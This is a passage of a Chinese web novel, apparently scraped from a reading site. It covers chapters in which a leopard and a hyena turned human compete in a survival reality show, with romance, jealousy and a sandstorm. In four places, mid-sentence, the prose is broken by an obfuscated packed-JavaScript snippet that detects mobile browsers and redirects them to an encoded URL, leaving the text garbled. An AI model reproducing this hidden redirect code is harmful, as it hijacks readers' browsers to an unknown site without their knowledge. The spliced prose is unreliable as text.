无视那道怪异的心悸,班列“唔”了一声,“应该是别人的,我化形的话,不该这么丑。” “噗。” 云媞笑了,“你不知道?在人类眼中,斑鬣狗就是很……嗯不太正派的形象。” 斑斑委屈,但斑斑不敢反驳。 他将头抵在云媞的脖间,哼唧道:“我在新闻上看到姐姐,一眼就认出来了,可姐姐压根都没想过我吧。” 同为动物时,他们也不过是搭伙过日子的盟友,不同种族、不同语系,自然难以这么亲昵。 但很奇怪,变成人后,一切情感似乎都得到了表达和宣泄的正当契机。 好在云媞并不讨厌班列的亲近,轻拍他的脑袋,“好啦,你只是鬣狗,又不是真的狗。” “可以做。”班列笑容清澈,“我愿意做姐姐的狗。” 动物当人,就是如此赤诚。 云媞还没回话。 一道尖锐爆鸣,陡然横亘而出。 “啊啊啊啊你们在做什么!!!” 黎星言气得面部扭曲,冲上来,直接将班列拉开,“你你你!朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129834|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妻,不可欺!” 他刚才看得分明,这两人搂抱在一起。 班列恬不知耻地用脑袋蹭云媞的胸口,而一向拒人于千里之外的云媞,竟然也会抚摸他的头顶。 她都没有这样优待过自己! 黎星言指着班列的鼻子,想痛骂一番。 可精英教育下的小少爷,搜罗脑海中所有相关措辞,最终恶狠狠地啐了一口,“小三!不要脸!长得丑还诡计多端!” 云媞不明白他在气愤什么。不过在夜场当过几天“男模”的班列,倒是懂了。 “你们正在交往吗?”班列懵懂地问。 挑衅!妥妥地挑衅! 黎星言挺直腰板,“当然!” 扭头一看,正主云媞一副事不关己高高挂起的姿态。 话到嘴边,口风急转,“当、当然不是!” 可恶啊,明明是她先倒追的自己,为什么总是这样云淡风轻、掌握主动权,搞得好像他才是舔狗一样。 黎星言一时哽住,气急败坏攥着云媞的手腕离开。 – 山脚,草甸。 不远处,隐隐能看见驻扎地的丛丛篝火。 “先是叶玄,现在又来了个班列,那我算什么?” 火光似乎映照到了这边,黎星言眸光闪烁,“你总是这样,对我忽冷忽热,是在玩弄我吗?” 酸涩涌上心头,他干脆不吐不快:“既然不喜欢我,当初为什么来招惹我?” 同样的夜晚,相似的地点,云媞曾目睹过数对男女选手,纠缠一番后身影交叠。 期间,他们说的最多的就是“喜欢”“爱”“性”“玩弄……” 这似乎是人类生存中最重要的议题。 她不懂这是什么意思,原主的情感同样一片空白。 当下黎星言这番话,倒让她微微触动。 “喜欢?” 她的声音淡,语气更淡,即使是问句,听起来也像陈述句。 脸,倏地通红。 耳根,也烫得不像话。 胸膛,一片火热。 黎星言,又活了。 “喜、喜欢我,那就不要……和别的男人纠缠不清啊,你想想,要是我到处沾花惹草,你也会伤心的不是吗?” “那说好了!从现在开始,我们就是男女朋友,以后那个死非主流要是再问刚才那个问题,我们俩要一起说——” “我们就是在交往!” “知道了吗?” 喋喋不休的唇瓣,柔软,红润。 还有……聒噪。 云媞的脑海中,莫名浮现张静敏和项雄在林间咬嘴唇的画面。 所以,他们也正在交往吗?他们也是……男女朋友? 不对。 他们那时身上散发出来的气味潮湿、腥辣,与黎星言截然不同。 撩开他的衣领,云媞俯身,将鼻尖凑上去嗅了嗅。 纯净、热烈、清甜,是一种让她也不禁蠢蠢欲动的独特香味。 “你、你干什么……” 黎星言慌乱抬手,按住云媞的肩头,想要推开,却一点力气都使不上来。 女孩温热的呼吸铺满他的锁骨,蚂蚁般游走在胸腔、脖颈,细细啃食。 “好香。”为什么他身上会散发出这种味道。 而且…… 云媞再次低头,鼻尖已经抵在那片细腻温润的肌肤上。 越来越浓郁了。 “什么、什么好香。”黎星言大脑陷入宕机,身体却很诚实地回应她的问话,“香水吗?你喜欢这个味道的话,我、我等会儿就送给你。” 望着黎星言频繁张合的嘴唇,云媞兀地贴上去。 唇齿相依,气息微渡。 周围的空气开始变得燥热。 黎星言浑身僵硬,连手臂都不知该放在哪里。 两人浓密的睫毛颤抖地纠缠在一起。 紧闭双眼,黎星言下意识微张唇瓣,探出舌尖。 他满脑子只有一个想法。 若是自己注定会被云媞玩弄…… 那就玩弄吧。 认栽了。 12. 第 12 章 意乱情迷之际。 舌尖一阵刺痛。 黎星言倒吸一口凉气,倏地捂住嘴巴。 再张口时,疼得说话都含混不清,“你、你咬我做什么……” “你伸舌头了。” 啊啊啊啊为什么要说出来啊! 这种事,做的时候没什么,这么大大咧咧说出来就会变得莫名羞耻。 黎星言的脸烫得快冒烟了,即懊恼又羞愤,“我、我看别人情侣之间都、都这样啊……” 他此前没谈过恋爱,经验全都来自青春躁动期,被狐朋狗友们邀请一起观摩过的“小电影”。 简单粗暴,毫无美感。从小在黎冉的艺术熏陶下,黎星言一直是个对审美有着极高要求的文艺boy。 断了唯一的“性启蒙”途径,他对男欢女爱实际只是一张白纸。 “哦。”云媞紧蹙眉头,“不知道。” 花豹发情求爱时,会用尾巴拍对方脸、贴着身子转圈、舔后颈标记气味,但不会将柔软的舌尖探进对方口腔,除非…… 它想从对方嘴里抢吃的。 听到云媞的话,黎星言心中升起隐秘的雀跃。 她和自己一样,没有谈过恋爱,“他们是彼此的初恋”,这一认知足够让感情洁癖亢奋不已。 但他又难受,他喜欢云媞,喜欢与她严丝合缝地黏在一起,喜欢与她唇齿相依时彼此交融的潮湿与气息,甚至……想要被她拆骨入腹,一口一口吞进肚子里,永永远远合二为一。 这种从未有过的变态念头,吓了黎星言一跳。 做贼心虚般,他神色闪烁地说:“对不起,如果你不喜欢我这样,那、那我以后尽量不这……” 话未说完,只见云媞抬起手背,擦了擦嘴。 ?! “不儿!这是什么意思啊!” 黎星言瞬间炸了,“你是在嫌弃我吗?” “你口水沾我嘴上了。” 云媞睨了他一眼,将手背伸出去。 泠泠月色下,晶莹的水渍似乎也泛起微光。 黎星言脸一热,声音不自觉压低了些,“那你可以像我一样,用舌头舔舔,或者抿嘴就好……” 学着云媞刚才的动作,他抬手在嘴边虚虚划拉两下,“你知不知道,这个动作,很伤男人自尊心的……” 关她什么事。 但云媞预感,自己若是这么说,对面这个易燃易爆炸的易碎品,又要开始喋喋不休了。 她不耐烦地转身就走,“知道了,下次不对别人这样了。” “这样才对嘛……” 黎星言嘴角还没扬起两秒,猛得提高音量:“别人?!” “你还想和哪个不要脸的小三这样接吻?那个死绿茶,还是那个装货???” “我不允许!你以后只能和我……而且不准再擦嘴!不然我就……” “讨厌你!讨厌你!讨厌你!” …… 悠长缓坡,矮树三两。 女孩在前面健步如飞,男孩在身后穷追不舍。 絮絮聒聒的叮嘱,吵得丛间惊雀乍起。 许久,才归于宁静。 月亮依旧停在旷野上。 * 接下来几天,黎星言身体慢慢恢复得差不多。 苏简从后备箱拖出他的散装摩托车,再由叶玄组装完好,就可以继续上路了。 黎星言不情不愿地拍了拍坐垫,“怎么感觉没有云媞软。” 很快,意识到这句话有歧义,他舌头都快打结了,“不、不是,我是说坐垫!没她那辆车软……” 面红耳赤的模样,简直是此地无银三百两。 不过这几日,黎大少爷跟个挂件似的,寸步不离地吸附在云媞身周,那腻歪劲儿比刚来时更甚,大家多多少少也能猜到一些。 苏简笑着眨了眨眼,“哦,原来说的是坐垫啊,我还以为是你小女友的怀抱呢……” 赶在黎星言炸毛之前,苏简伸指点了点唇,“不过呢,还是各骑一辆比较好,多一个人的负担,耗油量就越高。” 现在,除了食物,最令人焦虑的就是机油。 自从“恶人团”带头拱火后,连着几晚都有偷油的选手被逮个正着。 大大小小摩擦不断,每个人心里都压着一股怒火,却还得维持表面的和平。 当然,不食人间烟火的黎大少爷,自然意识不到这点。他一向以钱服人,想要什么、想指示谁帮他干活,无论事大事小,都直接签一张万元以上的字据,许诺对方录制结束就兑现。 他的字据,跟男明星签名小卡似的,成为队伍里最抢手的流通货币。 所以,他现在的威望和人气,几乎可以和叶玄媲美。 不过黎星言并未因此沾沾自喜。 他心里门清,别人只是因有利可图而表面恭维他,叶玄却靠的是“自身人格魅力”。 越是有人拿他与叶玄做对比,他便越发厌恶叶玄。 那个死装货,若不在自己眼前晃还好,可他偏偏时不时来找云媞。 前有叶玄,后有班列,腹背受敌的黎星言,只能像守财奴一般,斤斤计较地隔绝一切可能觊觎自家珍宝的无耻窃贼。 可不知是否是错觉,他觉得云媞最近对叶玄有些过于关注了。 她总是时不时偷看叶玄所在的方位,与自己说话时也心不在焉,甚至跟班列那个“假弟弟”聊天都比面对他时兴致更高。 交往才几天不到,这么快就厌倦了吗? ……为什么。 这个疑问,同样在云媞脑中回荡了数遍。 为什么……这个世界和原书里描写的不尽相同。 云媞已经暗中观察几日。 她发现,明娇娇很奇怪。 这位书中“娇软脆弱”“爱争风吃醋”“菟丝子一般”的女人,在面对叶玄时的确如此,但脱离叶玄的视线,她似乎“正常”许多。 黎星言也很奇怪。 他虽然脑子不好使,毒舌嘴碎,但内心良善,甚至有些白痴,怎么会是书中和“恶人团”狼狈为奸的纨绔反派。 还有张静敏,原书对她着墨不多,只知她凭着一口锅和高超厨艺,在主角团那儿混得不错。但“雨林混战”之后神秘失踪,直到最后也没交代她去了哪儿,是否还活着。 而这正是云媞对她产生好奇的缘由。 “叶玄呢?” “叶玄倒是没有太大的偏差,和书……” 云媞一顿,抬头。 黎星言正站在面前,脸红脖子粗的,看起来马上要变异了。 “你心里到底想着谁啊!”他急得跳脚,“我才是你男朋友!” 这句话,短短几日,云媞已经听了上百回了,跟魔咒似的。 所以“男朋友”到底怎么了,有什么反复强调的必要性吗? 她掏了掏耳朵,“啰嗦。” “啰嗦?!你还嫌我啰嗦!” 黎星言正欲疯狂输出,瞥见女孩满不在乎的淡漠表情,一种从未想过的假设突然冒了出来。 他深吸一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129835|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气,极力让自己变得冷静,“如果,如果那晚……是班列或者叶玄先说做你男朋友,你、你会同意吗?” 云媞思忖数秒,“可以啊。” 有什么区别,不就“朋友”前面加一个“男”字吗。他们要愿意,做“女”朋友也没关系。 “这这这怎么能可以呢!” 黎星言快急哭了,半蹲在云媞面前,一瞬不瞬盯着她的眼睛,“你也会像吻我那样,吻他们吗?” 云媞看不懂男孩眼眸中闪动的泪花是何种深意,只会循着他话中的字面意思去理解。 那这么想想…… “也可以。” 在花豹的世界,没有从一而终的伴侣,没有刻骨铭心的爱情,雄性和雌性在繁殖季节相遇,然后再各自独立生活。 雄性不过是借种的工具,强大的生存能力足以让雌性独自抚养幼崽。 “所以……” 黎星言顿了顿,艰难地问:“你崇尚的是开放式男女关系?” 云媞眼前一亮,“还可以这样?” 但人类不是遵循“唯一伴侣”的道德准则吗? 虽然,她一个豹豹显然没有这么高的情感道德。 “不可以。” 黎星言起身,别过脸,不想让她看到自己这幅泪眼朦胧的丢人模样。 再回头时,他难得严肃地冷着一张脸,一字一句地说:“我不接受这种违反道德伦理的恋爱观,如果你一定要这样三心二意的话,那么……” 他喉间一紧,声调都变得晦涩低哑,“我们就分手。” 不要不要不要不要不要不要……求求你了……不要答应……我不想分手……媞媞……我不要和你分手…… “好吧。” 云媞点头,“你决定就行。” 悬在项上的达摩克利斯之剑,落了下来。 没有回旋余地。 在云媞的眼中,甚至找不到丝毫挽留或悔意。 黎星言当即明白,那夜梦一般的献吻以及预谋似的“互通心意”,或许只不过是云媞玩弄他的一种手段。 众星捧月中长大的豪门少爷,哪里受过这种冲击。 理智不允许他再留恋这段畸形的关系。 他后退几步,咬牙道:“你别后悔!” 说罢,踉跄着,头也不回地跑开。 风,微微浮动。 静坐半晌,云媞望向不远处一丛灌木。 “还不出来?” 下一秒,枝叶晃荡两下,班列顶着一头杂草跳了出来。 “姐姐什么时候发现的?”他嬉皮笑脸问。 “在你钻进去之前。” 原来早就被察觉到了。 而班列已经算行动无痕,毕竟鬣狗也是极其聪慧、隐蔽能力强的物种。 “哎!姐姐还是这么厉害。” 班列笑着摇头,蹲到云媞脚下,“但……你好像好几次都没感知到黎星言的靠近。” 这对于警惕性极高的顶级掠食者来说,是一个不妙的信号。 云媞“嘶”了一声,“所以我是该直接以绝后患,还是该继续将他留在身边观察?” “可你们刚刚分手了。” “哦。” 借着月色,班列用目光细细描摹起她的面容,最终得出一个结论,“你,不高兴吗?” 他眨了眨眼,眸子纯净而虔诚,“我可以接受开放式关系,也不介意姐姐三心二意……” “所以……” “我可以取代他的位置吗?” 13. 第 13 章 山地地图开启第七日。 清晨晴空万里,队伍一鼓作气行进数十公里。 遥遥竟隐约能看见林线。 与一路上偶尔看到的灌木林不同,这是一种更为绵延、悠长而磅礴的绿意。 “看啊!前面是不是就是雨林!” “快了快了!终于看到影子了!” 有选手当场喜极而泣,边笑边骂:“还真有雨林啊,每天一睁眼就是死山死草,我都以为自己在这破地方遇到鬼打墙了!” “遭不住了,等到了雨林集合点我就拿钱走人,身体吃不消,心理也是煎熬,还不如回国坐牢。” …… 窥见希望,士气高涨。 好几辆越野和摩托车直接加速,抛弃大部队。 整体平均前进速度几乎提升一倍。 只有两辆摩托,慢慢悠悠落在队伍最后面。 “姐姐,那晚的提议,你考虑的怎么样了?” 单手拂开遮面罩,班列露出一排大白牙。 眉眼弯弯的模样,倒给他那副黑皮硬朗的糙汉形象平添一抹反差萌。 “你这张脸,收拾一下其实也挺好看,”云媞睨了他一眼,“前提是把你那五颜六色的鸡窝头剪了。” “人类说身体发肤受之父母,”班列没有半秒犹豫,一口应下,“姐姐帮我剪掉吧,你给我剪成什么样,我都喜欢!” “我是你爹,还是你妈?” “你是我姐姐,无论在哪个世界,你都是我唯一的亲人。” 云媞移开视线,“那你还要做我男朋友,不觉得奇怪吗?” 为什么奇怪? 班列不明白。 在夜场做男模那几日,有很多女人缠着要做他女朋友、和他结婚,起初他不懂什么意思,一律照单全收。 后来差点被娘子军联合起来“物理阉割”,他才知道,原来“恋爱”“结婚”,意味着一种最为亲密且唯一的男女关系。 他当时就想,他要和姐姐恋爱、结婚。 他只和姐姐恋爱、结婚。 生生世世在一起,永永远远不分离。 谁知,被黎星言捷足先登。 还好,他是人类。肤浅、愚蠢而短视的人类。 以他的思想觉悟,也不配和姐姐在一起。 班列正要说话。 耳朵微微耸动两下,霎时变了脸色。 “要变天了。” 云媞左脚撑地,眺望西边的远处。 那里,艳阳高照。 – “停车。” 车窗被陡然敲响时,明娇娇正贴着面膜,靠在副驾驶座闭目养神。 “前面有异常,你在头车,不要继续开了。” 一窗之隔,摩托车与越野车并驾齐驱。 女孩身子低伏,猎风将她的外套吹得呼呼作响。 “云媞?” 明娇娇微蹙眉头,与驾驶座的队友交换了一个眼神,当即熄火。 头车一停,后面一长串的车辆都停了下来。 “怎么了?” 其他人不知发生了什么事,纷纷将头探出车窗。 云媞摘下头盔,挂在车把上,“前面有奇怪的声音,很大,有危险。” “什么声音?”明娇娇的手扒在窗沿上,好整以暇地看向她。 云媞思忖数秒,“狂风,土地隆起,沙石席卷,还有云层中的雷鸣……” 似曾相识,但叫不出名字。 明娇娇兀地笑了,“你是在作诗吗?” 离她们最近的一辆越野,司机崔达是野外探险专家。 听到这番对话,他无奈摇头,指向前方,“小姑娘,你看看那像是要起狂风雷鸣的样子吗?” 放眼望去,别说前面,四面八方皆是和风旭日,一片静好。 “走不走啊还?” “不会是看快到目的地了,故意拦路的吧?” …… 叶玄赶到时,气氛并不像天气一样祥和。 不少选手着急赶路,耐心已然耗尽。 见到叶玄,明娇娇随即扬起明媚的笑容。 不过两秒,她嘟唇鼓气,语气似有埋怨,“叶玄哥哥你总算来了,云媞拦住我们,不让走,非说前面有危险……” 一路上,叶玄从七嘴八舌的议论中已经了解大致情况。 以他过往的作战经验,天气好的确不代表没有潜在风险,毕竟风云变幻只在瞬息之间。 只要言之有理,云媞的提醒也应当引起警觉。 “有什么判断依据吗?”叶玄问。 “听到的。” 有人嗤笑道:“开什么玩笑,这里这么多人,谁听到你说的那些声响了?” 叶玄抬手,示意稍安勿躁。 他换了种问法,试图更具体一些:“前方大概多远的距离?” 这个问题……云媞判断不出来。 以她此前的生存经验,没有千米厘米的概念,只有“远–不构成威胁”“较远–提高警惕”“近–迫在眉睫”。 “不知道。” 哄笑声更大了。 “妹妹,我们知道你学摩托车很快,飞刀耍得也不错,可能还会点兽语,但你这异想天开的毛病得趁早治啊……” “不会是故意找机会和叶哥搭讪吧?” 阵阵讥笑中,坐在明娇娇后座的吴佳,戳了戳她,低声呢喃:“娇娇,她……应该不是这种人……” 当然,无人在意。 被勒令守在原地的班列忍不住了,一阵轰鸣,穿行车中,稳稳停到云媞身旁。 “再笑一声试试。” 他环视一圈,那双深褐色的眼眸里暗得出奇,没有一丝温度。 莫名骇人。 刚挤进外围的黎星言,见状,顿住脚步。 冉冉怒火转瞬变成酸涩。 也对,她身边男人多的是,哪里轮得到他出头。 男人不敢笑了,摸了摸鼻子,自以为小声地嘀咕道:“小丫头魅力还挺大,几个舔狗围着转。” 班列反手摸上腰间的短刀,刀刃出鞘的瞬间,手腕被人按住。 云媞没有看他,径直走到那个男人车旁,“我让头车停下,又没让你停,你走你的不就是了。” “难道……”她疑惑歪头,探向车内人,“你也是我的狗?这么听话?” “你!”男人恼羞成怒地伸出食指。 下一秒,被云媞一掌攥紧,生生压回原位,“不要用手指我。”她会忍不住一口咬掉的。 说罢,转身,重新骑上摩托车。 “我只提醒一次,听不听随你们便。”她气定神闲扫视四周,最后将目光落到叶玄身上,“都不走,等着你开路呢?” 处处是旷野,想走的人何须堵在这里。 想来是云媞的话已经起了作用,一时没人敢打头阵罢了。 与崔达等人商讨片刻,叶玄眺望远处的天空,沉声道:“继续前行。” * 不过二十分钟,风云突变。 远处,起伏的山丘隆起浓白色烟尘,像被投掷了一枚原子弹,铺天盖地的云雾瞬间将希望绿洲吞噬。 沙土席卷,直接达到云层之上的高度,急骤往众人所在的方位碾来。 顷刻间,整个天空一片赤橙,伴着电闪雷鸣,仿佛被卷进了异世界。 此时,能见度不足两米。远光灯打出去,石沉大海一般。 真正的伸手不见五指。 事发突然,开车选手霎时迷失方位,心理压力激增。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129836|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心态稳的,握紧方向盘,凭感觉缓慢滑行。 心态崩的,当即踩刹车,不敢再多开一米。 一车停下,后续车辆也看不见,直接撞了上去。 一车连着一车,剧烈的碰撞声、紧急刹车声,像加了立体环绕音效似的,从四面八方响起。 人人都知道周围出了事故,但并不妨碍一打眼,自己就闪现到别人车尾,紧接着再被后车进行二次伤害。 “第一次见这么恐怖的沙尘暴,也不知道哪些车报废了没。” “话说车坏了节目组给修吗?不给修,去不了目的地算淘汰吗?” “你还不如关心一下,骑摩托车的有没有被那群铁骑撞飞……” 少数听从云媞告诫的选手们,跟着她,停在原地没动。 听到前方惨状,内心阵阵后怕。 嘴上虽不说,但大家心里无端涌现一个念头:从现在开始,云媞才是唯一的神! 贺君卓思来想去,决定立即投诚,混个眼熟。 他趴在地面,匍匐挪步到云媞所在的位置。 “云媞姐,我叫小贺,其实第一天您朝叶哥竖中指那会儿,我就对您是五体投地心生仰慕!以后我可以跟着您混吗?” 没人搭理。 他疑惑偏头,黑色的身形在风沙中影影绰绰。 没错啊,有人啊。 “云媞姐,你说句话啊,孩子害怕……”他自来熟地伸手,拍拍“对方”的肩膀。 梆硬。铁皮似的。 一道强风吹来,迷雾散去。 横躺在地面的摩托车,随风,轻晃两下。 视线上移,车身另一侧,探出两个脑袋,正是云媞和班列。 两人眼神中满是不解。 贺君卓抬起的手缓缓放下,又抬起,又放下,最后尴尬挥了挥,“哎呀,这摩托车,真顽皮,哈哈。” – 那边几人趴在云媞两侧,聊得火热。 躲在后面的黎星言,心里极其不是滋味。 要不是他那天心直口快,捅破了那层窗户纸,哪里轮得到他们这些臭鱼烂虾上位。 但,或许……或许……他还有补救的机会。 不就是畸形的恋爱观念吗?他已经想通了。 云媞刚进社会,抵不住花花世界的诱惑,一时思想滑坡也情有可原。 他可以先假装迎合,暗中略施小计,赶跑那些不自量力的觊觎者,再慢慢纠正她的恋爱观…… 黎星言心下一动,只觉这个计划简直天衣无缝。 他站起来,掸去身上的灰尘,正要向云媞所在的位置走去。 “黎少爷!” 张静敏惊呼一声,“你头发怎么都竖起来了!” 黎星言下意识抬手去摸,一阵微弱的电流像蚂蚁一般,在皮肤上乱窜。 密密麻麻。 贺君卓瞪大双眼:“完了!” 看着镜子里的自己,黎星言也在心里默念:完了……全完了…… 他的精致发型!他的潮男形象! 眼前这个灰头土脸的海胆头非主流是谁!ohno!myeyes……好想逃…… 他迅速背过身,从背包里掏出一瓶定型喷雾,照着镜子喷了几下,试图将竖起的海胆头压下去。 “不是!哥!你弄啥呢?”贺君卓更震惊了,“以为你有应对的避雷神器,结果你半天掏出个发胶?!” “避雷?”云媞很快捕捉到话中重点。 黎星言和班列也齐齐望过去。 看来都是一群没常识的。 贺君卓急得直挠头,“来不及解释原理了,总之这是被雷电锁定的预警信号!” 黎星言仍有些发懵,“那、那怎么办……” “跑啊!!!” 14. 第 14 章 那道强风转向别处后,能见度霎时降至冰点。 漫天沙尘,辨不清方向。 贺君卓只好对着虚空高喊:“言哥!你身上有金银首饰吗?有的话全部摘下来,丢远点!” 万虫噬心的感觉愈发强烈,痒意渗入肌肤,令黎星言更加焦灼。 纯金项链、戒指、耳钉……啊,还有手表、胸针…… 越慌乱,越难摘。 “砰!” 一道骇人的闪电穿透云层,天堑般生生将尘雾斩裂。 没有了城市建筑的阻挠,闪电在无序的旷野横冲直撞,转瞬击中一辆早已被撞到熄火的越野车。 车辆自动鸣笛声此起彼伏,如地狱哀嚎。 “言哥,好了吗?抓紧啊!” “好了好了!” 终于摘完,黎星言重重呼出一口气。 他第一次发觉太有钱,也并不是什么好事。 “难怪人类常说不要穿金戴银,到处显摆。” 对于黎少爷的遭遇,班列看得分明,不由嗤笑一声,“原来装逼真的会遭雷劈。” 云媞没有应声。 她在学习。无论是叶玄、小贺还是张静敏,人类身上有太多智慧,亟待掌握。 她沉声问:“然后呢?雷就劈不到了吗?” “用手捂住耳朵蹲下,双脚并拢,后脚跟踮起,胸口紧贴膝盖,”贺君卓看不到他们,便待在原地指挥,“要是附近有车,用这种姿势跳到车旁,就万事大吉了,唉……” 可惜,啥也看不见。 张静敏惊呼:“我刚看到泰哥他们的车,好像就在附近!” 但黎星言不干了,“不能直接跑吗?这个姿势……不太体面。”叫他优雅阔少的颜面往哪儿搁。 瞟了眼手环时间,距离小贺所说的“被雷电锁定”已经过去三分钟。 这么久还没劈,人墨迹,雷也墨迹。 云媞垂下手腕,阔步走到黎星言身前。 陡然出现的人影吓了他一跳。 “你你你!离我远一点!” 黎星言想说,他现在是高危导电体,怕会波及到她。 可一张嘴,话却变了味,“你和那几个小三小四备胎待在一起就好了,又来贴我做什么?我告诉你,我们现在已经不是那种关系了,是你先抛下我……” 下一秒,身体腾空而起。 这架势、这姿势……一种异常熟悉的感觉,涌上心头。 果然。 云媞扛着他,像扛着一只待宰的羔羊,穿破风沙,视若无物,径直锁定一辆车。 猛得拉开车门,转手将黎星言甩了进去,“等头发没反应了再出来。” 好不容易听声辨位寻到车旁的贺君卓,一脸懵逼地眨眨眼,最后缓缓竖起大拇指。 “好一个我命由我不由天。” – 车内。 气氛诡异。 一个含着金汤匙出生的豪门阔少,几个各自背负案底的社会底层。 若不是这场杀猪盘似的节目,若不是云媞这强行一扔,或许永远都不会同处一个空间搭上话。 “你爸真的是陆景天吗,电视上那个华国首富?你怎么不跟你爸姓?” “你家那么有钱了,为什么还来参加这个比赛?” “听说你外公是开国元勋,真的假的?” 后排空间狭小,为了给黎星言让座,吴光豪和另外两人几乎叠叠乐缩到另一侧。 以为毕恭毕敬,就能得到少爷青眼。 毕竟,这种级别的有钱人,随手施与一些小恩小惠,也够平民百姓一辈子温饱。 但黎星言将脸贴在车窗,并未搭理他们。 赤橙天空正在慢慢褪色,电闪雷鸣渐弱,昏黄的飞沙隐隐能透出人影。 不远处,云媞等人依旧平躺在摩托车旁,按兵不动。 “就这么喜欢那丫头?还没搞到手?”副驾驶座的沈泰兀地开口。 吴光豪摸摸下巴,也跟着意味不明地笑了一下,“那丫头的脸蛋和身材是不错,但长得有点黑,皮肤也没那个女明星水润,性格更是差劲,哪有半点女人味……” “你很有男人味吗?” 黎星言回头,语气冰冷。 “那当然!”吴光豪撸起袖子,拍拍胳膊上的肌肉,“瞧瞧,没白练!黎少爷要是缺保镖,来找我,我一定帮……” “原来这就叫男人味啊,”黎星言嫌弃地瞟了他一眼,捏紧鼻子,“我还以为是汗臭味、狐臭味、口臭味、脚臭味……腌过头了,收收味吧你。” “啊?有吗?”吴光豪低头,到处闻闻自己身上。 说实话,是有的。 节目录制至今,连着几天赶路,风餐露宿。稍微讲究点的,碰到小溪,会跳进去泡个澡。 但绝大多数选手好几天没洗澡,上厕所都是找个没人的地方速战速决。 哪像黎大少爷,专门带了可折叠户外浴罩、便携浴桶、车载应急马桶等装备,每天雇人帮他寻水源烧热水,然后再像宫廷贵妃一样,焚香沐浴,把自己收拾得“一尘不染”。 私下有人嘲笑他“比娘们儿还精致”,但无人敢当面置喙。 谁让这位是人傻钱多的财神爷呢,可不得趁机捞上一笔。 吴光豪深知,这主儿惹不得,扬起笑,谄媚非常,“嘚,今天就找条河冲一下。” “身上的味,或许冲得走。心臭了,埋土里都有腐烂味。” 黎星言一瞬不瞬盯着他的眼睛,浑然没有印象中初出茅庐的少年气,“对别人评头论足之前,先掂量掂量自己几斤几两,你算什么东西?” 车内霎时安静。 原来是为了给那丫头出气。 吴光豪脸色瞬变,拳头捏得梆硬。 其他两人赶忙按住他,前排沈泰与驾驶座的项雄互换眼神,开口言和,“好了好了,当务之急是快人一步抵达集合点,小豪,不要逞一时口舌之快。” “黎少爷,您消消气,”沈泰扭身,勾起唇,“我们谈谈?” * 天空依旧弥蒙,但近处尘雾已散。 遍地狼藉。 连环相撞的车辆堆积在一起,好几辆当场报废,引擎盖里冒出白烟。 有些铁皮凹陷,但发动机还能运转。 被撞的摩托车夹在越野车当中,选手飞离百米,趴在地上哀嚎。 多人摔伤,但所幸没有人员死亡。 以叶玄为首的十几人,正在清点人数、收拾残局。 “叶玄!你带的什么路?亏我们这么信任你,现在我们的车都报废了,你说怎么办?” 一个人开了怨怼的口子,无数压抑许久的怨灵,争先恐后从这道缝隙中钻出来,直到裂缝越撕越大。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129837|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好不容易看到雨林的影子了,现在好了,前功尽弃!进退两难!” “我们到不了集合点,你负责吗?拿不到奖金,你赔吗!” “早知道就听云媞的话了,什么特种兵什么探险专家什么野战部队,那么多身份加持,统统都不如个小姑娘!” “话说,谁知道他们的身份是真是假,莫不是为了在镜头面前立人设,胡乱编造的……” 那边硝烟四起。 这边,云媞已经靠坐在摩托车旁,美美吃上了。 所有“站对队”的选手,现在看她都自带一层神祇光环,有什么私藏的好吃好喝的,热切塞到她怀里。 云媞自然不会跟人客气,通通照单全收。 看到她这幅没心没肺的模样,黎星言也不由扬起嘴角。 陡然想起自己还在和她置气,又压下笑容。 就着车内镜子检查了一下,头发已经恢复原状,身上那股密密麻麻的痒意,不知何时褪去了。 黎星言握上车内把手,急不可耐地推开。 “黎少爷,今天说的提议,您可以考虑一下。” 沈泰语气和缓,给足了不符合他以往行事作风的态度,“不着急拒绝,以后说不定您还会来主动找我们呢。” 黎星言指尖微顿,没有回头,也没有应话,径直下了车。 “靠!不就投了个好胎,有他妈亿点臭钱,拽得跟什么似的!” 吴光豪啐了一口,那阵无名火无处发泄。 